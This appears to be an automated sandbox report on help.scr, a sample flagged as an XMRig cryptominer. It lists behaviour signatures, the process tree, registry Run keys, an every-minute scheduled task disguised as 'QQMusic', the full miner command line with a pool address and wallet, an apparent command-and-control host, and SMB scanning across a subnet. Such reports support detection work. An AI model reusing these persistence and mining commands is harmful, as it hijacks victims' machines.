Malware Analysis Report

2025-01-06 20:27

Sample ID 240614-v9fxbszgjf
Target help.scr
SHA256 d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239
Tags
xmrig miner persistence upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239

Threat Level: Known bad

The file help.scr was found to be: Known bad.

Malicious Activity Summary

xmrig miner persistence upx

xmrig

XMRig Miner payload

Loads dropped DLL

Executes dropped EXE

UPX packed file

Adds Run key to start application

Enumerates connected drives

Checks for VirtualBox DLLs, possible anti-VM trick

Drops file in Program Files directory

Unsigned PE

Kills process with taskkill

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Gathers network information

Suspicious use of AdjustPrivilegeToken

Creates scheduled task(s)

Suspicious behavior: GetForegroundWindowSpam

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-14 17:41

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-14 17:41

Reported

2024-06-14 17:43

Platform

win7-20240221-en

Max time kernel

150s

Max time network

144s

Command Line

"C:\Users\Admin\AppData\Local\Temp\help.scr" /S

Signatures

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\ProgramData\spreadTpqrst.exe N/A
N/A N/A C:\ProgramData\SMB.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\QQMusic = "C:\\Users\\Admin\\AppData\\Local\\Temp\\help.scr" C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Run\QQMusic = "C:\\Users\\Admin\\AppData\\Local\\Temp\\help.scr" C:\Users\Admin\AppData\Local\Temp\help.scr N/A

Checks for VirtualBox DLLs, possible anti-VM trick

Description Indicator Process Target
File opened (read-only) \??\VBoxMiniRdrDN C:\Users\Admin\AppData\Local\Temp\help.scr N/A
File opened (read-only) \??\VBoxMiniRdrDN C:\Users\Admin\AppData\Local\Temp\help.scr N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\web\webbase.xml C:\Users\Admin\AppData\Local\Temp\help.scr N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Users\Admin\AppData\Local\Temp\help.scr N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Gathers network information

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\ipconfig.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1948 wrote to memory of 2188 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 1948 wrote to memory of 2188 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 1948 wrote to memory of 2188 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 1948 wrote to memory of 2188 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 2188 wrote to memory of 2452 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2188 wrote to memory of 2452 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2188 wrote to memory of 2452 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2188 wrote to memory of 2452 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 1948 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 1948 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 1948 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 1948 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 2460 wrote to memory of 2212 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2460 wrote to memory of 2212 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2460 wrote to memory of 2212 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2460 wrote to memory of 2212 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 1948 wrote to memory of 2796 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 1948 wrote to memory of 2796 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 1948 wrote to memory of 2796 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 1948 wrote to memory of 2796 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 2796 wrote to memory of 1516 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 2796 wrote to memory of 1516 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 2796 wrote to memory of 1516 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 2796 wrote to memory of 1516 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 1948 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\spreadTpqrst.exe
PID 1948 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\spreadTpqrst.exe
PID 1948 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\spreadTpqrst.exe
PID 1948 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\spreadTpqrst.exe
PID 1948 wrote to memory of 896 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\SMB.exe
PID 1948 wrote to memory of 896 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\SMB.exe
PID 1948 wrote to memory of 896 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\SMB.exe
PID 1948 wrote to memory of 896 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\SMB.exe
PID 776 wrote to memory of 1396 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Local\Temp\help.scr
PID 776 wrote to memory of 1396 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Local\Temp\help.scr
PID 776 wrote to memory of 1396 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Local\Temp\help.scr
PID 776 wrote to memory of 1396 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Local\Temp\help.scr

Processes

C:\Users\Admin\AppData\Local\Temp\help.scr

"C:\Users\Admin\AppData\Local\Temp\help.scr" /S

C:\Windows\SysWOW64\cmd.exe

cmd /c schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\help.scr /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\help.scr /F

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im spreadTpqrst.exe&&exit

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im spreadTpqrst.exe

C:\Windows\SysWOW64\cmd.exe

cmd /c ipconfig /flushdns

C:\Windows\SysWOW64\ipconfig.exe

ipconfig /flushdns

C:\ProgramData\spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X -a cn/r --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\ProgramData\SMB.exe

C:\ProgramData\SMB.exe

C:\Windows\system32\taskeng.exe

taskeng.exe {2F9C7E2B-9FDF-4288-B232-773A02391FC3} S-1-5-21-1298544033-3225604241-2703760938-1000:IZKCKOTP\Admin:Interactive:[1]

C:\Users\Admin\AppData\Local\Temp\help.scr

C:\Users\Admin\AppData\Local\Temp\help.scr "C:\Users\Admin\AppData\Local\Temp\help.scr"

Network

Country Destination Domain Proto
US 8.8.8.8:53 sadan.8b8n.com udp
HK 166.88.61.212:4399 sadan.8b8n.com tcp
US 8.8.8.8:53 auto.c3pool.org udp
DE 195.201.97.156:19999 auto.c3pool.org tcp
N/A 10.127.1.2:445 tcp
N/A 10.127.1.3:445 tcp
N/A 10.127.1.0:445 tcp
N/A 10.127.1.1:445 tcp
N/A 10.127.1.4:445 tcp
N/A 10.127.1.5:445 tcp
N/A 10.127.1.6:445 tcp
N/A 10.127.1.7:445 tcp
N/A 10.127.1.8:445 tcp
N/A 10.127.1.9:445 tcp
N/A 10.127.1.11:445 tcp
N/A 10.127.1.10:445 tcp
N/A 10.127.1.24:445 tcp
N/A 10.127.1.13:445 tcp
N/A 10.127.1.15:445 tcp
N/A 10.127.1.12:445 tcp
N/A 10.127.1.23:445 tcp
N/A 10.127.1.37:445 tcp
N/A 10.127.1.18:445 tcp
N/A 10.127.1.33:445 tcp
N/A 10.127.1.21:445 tcp
N/A 10.127.1.52:445 tcp
N/A 10.127.1.25:445 tcp
N/A 10.127.1.16:445 tcp
N/A 10.127.1.31:445 tcp
N/A 10.127.1.51:445 tcp
N/A 10.127.1.44:445 tcp
N/A 10.127.1.27:445 tcp
N/A 10.127.1.14:445 tcp
N/A 10.127.1.41:445 tcp
N/A 10.127.1.53:445 tcp
N/A 10.127.1.49:445 tcp
N/A 10.127.1.22:445 tcp
N/A 10.127.1.50:445 tcp
N/A 10.127.1.19:445 tcp
N/A 10.127.1.43:445 tcp
N/A 10.127.1.17:445 tcp
N/A 10.127.1.34:445 tcp
N/A 10.127.1.61:445 tcp
N/A 10.127.1.64:445 tcp
N/A 10.127.1.30:445 tcp
N/A 10.127.1.32:445 tcp
N/A 10.127.1.26:445 tcp
N/A 10.127.1.39:445 tcp
N/A 10.127.1.46:445 tcp
N/A 10.127.1.29:445 tcp
N/A 10.127.1.57:445 tcp
N/A 10.127.1.38:445 tcp
N/A 10.127.1.40:445 tcp
N/A 10.127.1.42:445 tcp
N/A 10.127.1.73:445 tcp
N/A 10.127.1.65:445 tcp
N/A 10.127.1.20:445 tcp
N/A 10.127.1.20:19490 tcp
N/A 10.127.1.20:135 tcp
N/A 10.127.1.20:19490 tcp
N/A 10.127.1.20:1433 tcp
N/A 10.127.1.28:445 tcp
N/A 10.127.1.35:445 tcp
N/A 10.127.1.36:445 tcp
N/A 10.127.1.45:445 tcp
N/A 10.127.1.47:445 tcp
N/A 10.127.1.48:445 tcp
N/A 10.127.1.54:445 tcp
N/A 10.127.1.55:445 tcp
N/A 10.127.1.56:445 tcp
N/A 10.127.1.58:445 tcp
N/A 10.127.1.59:445 tcp
N/A 10.127.1.60:445 tcp
N/A 10.127.1.62:445 tcp
N/A 10.127.1.63:445 tcp
N/A 10.127.1.66:445 tcp
N/A 10.127.1.67:445 tcp
N/A 10.127.1.68:445 tcp
N/A 10.127.1.69:445 tcp
N/A 10.127.1.70:445 tcp
N/A 10.127.1.71:445 tcp
N/A 10.127.1.72:445 tcp
N/A 10.127.1.74:445 tcp
N/A 10.127.1.75:445 tcp
N/A 10.127.1.76:445 tcp
N/A 10.127.1.77:445 tcp
N/A 10.127.1.78:445 tcp
N/A 10.127.1.79:445 tcp
N/A 10.127.1.80:445 tcp
N/A 10.127.1.81:445 tcp
N/A 10.127.1.82:445 tcp
N/A 10.127.1.83:445 tcp
N/A 10.127.1.84:445 tcp
N/A 10.127.1.85:445 tcp
N/A 10.127.1.86:445 tcp
N/A 10.127.1.87:445 tcp
N/A 10.127.1.88:445 tcp
N/A 10.127.1.89:445 tcp
N/A 10.127.1.90:445 tcp
N/A 10.127.1.91:445 tcp
N/A 10.127.1.92:445 tcp
N/A 10.127.1.93:445 tcp
N/A 10.127.1.94:445 tcp
N/A 10.127.1.95:445 tcp
N/A 10.127.1.96:445 tcp
N/A 10.127.1.97:445 tcp
N/A 10.127.1.98:445 tcp
N/A 10.127.1.99:445 tcp
N/A 10.127.1.100:445 tcp
N/A 10.127.1.101:445 tcp
N/A 10.127.1.102:445 tcp
N/A 10.127.1.103:445 tcp
N/A 10.127.1.104:445 tcp
N/A 10.127.1.105:445 tcp
N/A 10.127.1.106:445 tcp
N/A 10.127.1.107:445 tcp
N/A 10.127.1.108:445 tcp
N/A 10.127.1.109:445 tcp
N/A 10.127.1.110:445 tcp
N/A 10.127.1.111:445 tcp
N/A 10.127.1.112:445 tcp
N/A 10.127.1.113:445 tcp
N/A 10.127.1.114:445 tcp
N/A 10.127.1.115:445 tcp
N/A 10.127.1.116:445 tcp
N/A 10.127.1.117:445 tcp
N/A 10.127.1.118:445 tcp
N/A 10.127.1.119:445 tcp
N/A 10.127.1.120:445 tcp
N/A 10.127.1.121:445 tcp
N/A 10.127.1.122:445 tcp
N/A 10.127.1.123:445 tcp
N/A 10.127.1.124:445 tcp
N/A 10.127.1.125:445 tcp
N/A 10.127.1.126:445 tcp
N/A 10.127.1.127:445 tcp
N/A 10.127.1.128:445 tcp
N/A 10.127.1.129:445 tcp
N/A 10.127.1.130:445 tcp
N/A 10.127.1.131:445 tcp
N/A 10.127.1.132:445 tcp
N/A 10.127.1.133:445 tcp
N/A 10.127.1.134:445 tcp
N/A 10.127.1.135:445 tcp
N/A 10.127.1.136:445 tcp
N/A 10.127.1.137:445 tcp
N/A 10.127.1.138:445 tcp
N/A 10.127.1.139:445 tcp
N/A 10.127.1.140:445 tcp
N/A 10.127.1.141:445 tcp
N/A 10.127.1.142:445 tcp
N/A 10.127.1.143:445 tcp
N/A 10.127.1.161:445 tcp
N/A 10.127.1.159:445 tcp
N/A 10.127.1.157:445 tcp
N/A 10.127.1.160:445 tcp
N/A 10.127.1.156:445 tcp
N/A 10.127.1.164:445 tcp
N/A 10.127.1.166:445 tcp
N/A 10.127.1.168:445 tcp
N/A 10.127.1.0:135 tcp
N/A 10.127.1.144:445 tcp
N/A 10.127.1.1:135 tcp
N/A 10.127.1.158:445 tcp
N/A 10.127.1.173:445 tcp
N/A 10.127.1.185:445 tcp
N/A 10.127.1.2:135 tcp
N/A 10.127.1.180:445 tcp
N/A 10.127.1.181:445 tcp
N/A 10.127.1.191:445 tcp
N/A 10.127.1.154:445 tcp
N/A 10.127.1.171:445 tcp
N/A 10.127.1.178:445 tcp
N/A 10.127.1.183:445 tcp
N/A 10.127.1.167:445 tcp
N/A 10.127.1.170:445 tcp
N/A 10.127.1.3:135 tcp
N/A 10.127.1.145:445 tcp
N/A 10.127.1.190:445 tcp
N/A 10.127.1.192:445 tcp
N/A 10.127.1.4:135 tcp
N/A 10.127.1.163:445 tcp
N/A 10.127.1.5:135 tcp
N/A 10.127.1.188:445 tcp
N/A 10.127.1.6:135 tcp
N/A 10.127.1.7:135 tcp
N/A 10.127.1.155:445 tcp
N/A 10.127.1.8:135 tcp
N/A 10.127.1.149:445 tcp
N/A 10.127.1.9:135 tcp
N/A 10.127.1.169:445 tcp
N/A 10.127.1.177:445 tcp
N/A 10.127.1.10:135 tcp
N/A 10.127.1.11:135 tcp
N/A 10.127.1.12:135 tcp
N/A 10.127.1.189:445 tcp
N/A 10.127.1.13:135 tcp
N/A 10.127.1.162:445 tcp
N/A 10.127.1.14:135 tcp
N/A 10.127.1.15:135 tcp
N/A 10.127.1.146:445 tcp
N/A 10.127.1.147:445 tcp
N/A 10.127.1.148:445 tcp
N/A 10.127.1.150:445 tcp
N/A 10.127.1.151:445 tcp
N/A 10.127.1.152:445 tcp
N/A 10.127.1.153:445 tcp
N/A 10.127.1.165:445 tcp
N/A 10.127.1.172:445 tcp
N/A 10.127.1.174:445 tcp
N/A 10.127.1.175:445 tcp
N/A 10.127.1.176:445 tcp
N/A 10.127.1.179:445 tcp
N/A 10.127.1.182:445 tcp
N/A 10.127.1.184:445 tcp
N/A 10.127.1.186:445 tcp
N/A 10.127.1.187:445 tcp
N/A 10.127.1.193:445 tcp
N/A 10.127.1.194:445 tcp
N/A 10.127.1.195:445 tcp
N/A 10.127.1.196:445 tcp
N/A 10.127.1.197:445 tcp
N/A 10.127.1.198:445 tcp
N/A 10.127.1.199:445 tcp
N/A 10.127.1.200:445 tcp
N/A 10.127.1.201:445 tcp
N/A 10.127.1.202:445 tcp
N/A 10.127.1.203:445 tcp
N/A 10.127.1.204:445 tcp
N/A 10.127.1.205:445 tcp
N/A 10.127.1.206:445 tcp
N/A 10.127.1.207:445 tcp
N/A 10.127.1.208:445 tcp
N/A 10.127.1.209:445 tcp
N/A 10.127.1.17:135 tcp
N/A 10.127.1.16:135 tcp
N/A 10.127.1.210:445 tcp
N/A 10.127.1.18:135 tcp
N/A 10.127.1.211:445 tcp
N/A 10.127.1.19:135 tcp
N/A 10.127.1.212:445 tcp
N/A 10.127.1.213:445 tcp
N/A 10.127.1.21:135 tcp
N/A 10.127.1.20:21 tcp
N/A 10.127.1.214:445 tcp
N/A 10.127.1.22:135 tcp
N/A 10.127.1.215:445 tcp
N/A 10.127.1.23:135 tcp
N/A 10.127.1.216:445 tcp
N/A 10.127.1.24:135 tcp
N/A 10.127.1.217:445 tcp
N/A 10.127.1.25:135 tcp
N/A 10.127.1.218:445 tcp
N/A 10.127.1.26:135 tcp
N/A 10.127.1.219:445 tcp
N/A 10.127.1.27:135 tcp
N/A 10.127.1.220:445 tcp
N/A 10.127.1.28:135 tcp
N/A 10.127.1.221:445 tcp
N/A 10.127.1.29:135 tcp
N/A 10.127.1.222:445 tcp
N/A 10.127.1.30:135 tcp
N/A 10.127.1.223:445 tcp
N/A 10.127.1.31:135 tcp
N/A 10.127.1.224:445 tcp
N/A 10.127.1.32:135 tcp
N/A 10.127.1.225:445 tcp
N/A 10.127.1.33:135 tcp
N/A 10.127.1.226:445 tcp
N/A 10.127.1.34:135 tcp
N/A 10.127.1.227:445 tcp
N/A 10.127.1.35:135 tcp
N/A 10.127.1.228:445 tcp
N/A 10.127.1.36:135 tcp
N/A 10.127.1.229:445 tcp
N/A 10.127.1.37:135 tcp
N/A 10.127.1.230:445 tcp
N/A 10.127.1.38:135 tcp
N/A 10.127.1.231:445 tcp
N/A 10.127.1.39:135 tcp
N/A 10.127.1.232:445 tcp
N/A 10.127.1.40:135 tcp
N/A 10.127.1.233:445 tcp
N/A 10.127.1.41:135 tcp
N/A 10.127.1.234:445 tcp
N/A 10.127.1.42:135 tcp
N/A 10.127.1.235:445 tcp
N/A 10.127.1.43:135 tcp
N/A 10.127.1.236:445 tcp
N/A 10.127.1.44:135 tcp
N/A 10.127.1.237:445 tcp
N/A 10.127.1.45:135 tcp
N/A 10.127.1.238:445 tcp
N/A 10.127.1.46:135 tcp
N/A 10.127.1.239:445 tcp
N/A 10.127.1.47:135 tcp
N/A 10.127.1.240:445 tcp
N/A 10.127.1.48:135 tcp
N/A 10.127.1.241:445 tcp
N/A 10.127.1.49:135 tcp
N/A 10.127.1.242:445 tcp
N/A 10.127.1.50:135 tcp
N/A 10.127.1.243:445 tcp
N/A 10.127.1.51:135 tcp
N/A 10.127.1.244:445 tcp
N/A 10.127.1.52:135 tcp
N/A 10.127.1.245:445 tcp
N/A 10.127.1.53:135 tcp
N/A 10.127.1.246:445 tcp
N/A 10.127.1.54:135 tcp
N/A 10.127.1.247:445 tcp
N/A 10.127.1.55:135 tcp
N/A 10.127.1.248:445 tcp
N/A 10.127.1.56:135 tcp
N/A 10.127.1.249:445 tcp
N/A 10.127.1.57:135 tcp
N/A 10.127.1.250:445 tcp
N/A 10.127.1.58:135 tcp
N/A 10.127.1.251:445 tcp
N/A 10.127.1.59:135 tcp
N/A 10.127.1.252:445 tcp
N/A 10.127.1.60:135 tcp
N/A 10.127.1.253:445 tcp
N/A 10.127.1.61:135 tcp
N/A 10.127.1.254:445 tcp
N/A 10.127.1.62:135 tcp
N/A 10.127.1.63:135 tcp
N/A 10.127.1.64:135 tcp
N/A 10.127.1.65:135 tcp
N/A 10.127.1.66:135 tcp
N/A 10.127.1.67:135 tcp
N/A 10.127.1.68:135 tcp
N/A 10.127.1.69:135 tcp
N/A 10.127.1.70:135 tcp
N/A 10.127.1.71:135 tcp
N/A 10.127.1.72:135 tcp
N/A 10.127.1.73:135 tcp
N/A 10.127.1.74:135 tcp
N/A 10.127.1.75:135 tcp
N/A 10.127.1.76:135 tcp
N/A 10.127.1.77:135 tcp
N/A 10.127.1.78:135 tcp
N/A 10.127.1.79:135 tcp
N/A 10.127.1.80:135 tcp
N/A 10.127.1.81:135 tcp
N/A 10.127.1.82:135 tcp
N/A 10.127.1.83:135 tcp
N/A 10.127.1.84:135 tcp
N/A 10.127.1.85:135 tcp
N/A 10.127.1.86:135 tcp
N/A 10.127.1.87:135 tcp
N/A 10.127.1.88:135 tcp
N/A 10.127.1.89:135 tcp
N/A 10.127.1.90:135 tcp
N/A 10.127.1.91:135 tcp
N/A 10.127.1.92:135 tcp
N/A 10.127.1.93:135 tcp
N/A 10.127.1.94:135 tcp
N/A 10.127.1.95:135 tcp
N/A 10.127.1.96:135 tcp
N/A 10.127.1.97:135 tcp
N/A 10.127.1.98:135 tcp
N/A 10.127.1.99:135 tcp
N/A 10.127.1.100:135 tcp
N/A 10.127.1.101:135 tcp
N/A 10.127.1.102:135 tcp
N/A 10.127.1.103:135 tcp
N/A 10.127.1.104:135 tcp
N/A 10.127.1.105:135 tcp
N/A 10.127.1.106:135 tcp
N/A 10.127.1.107:135 tcp
N/A 10.127.1.108:135 tcp
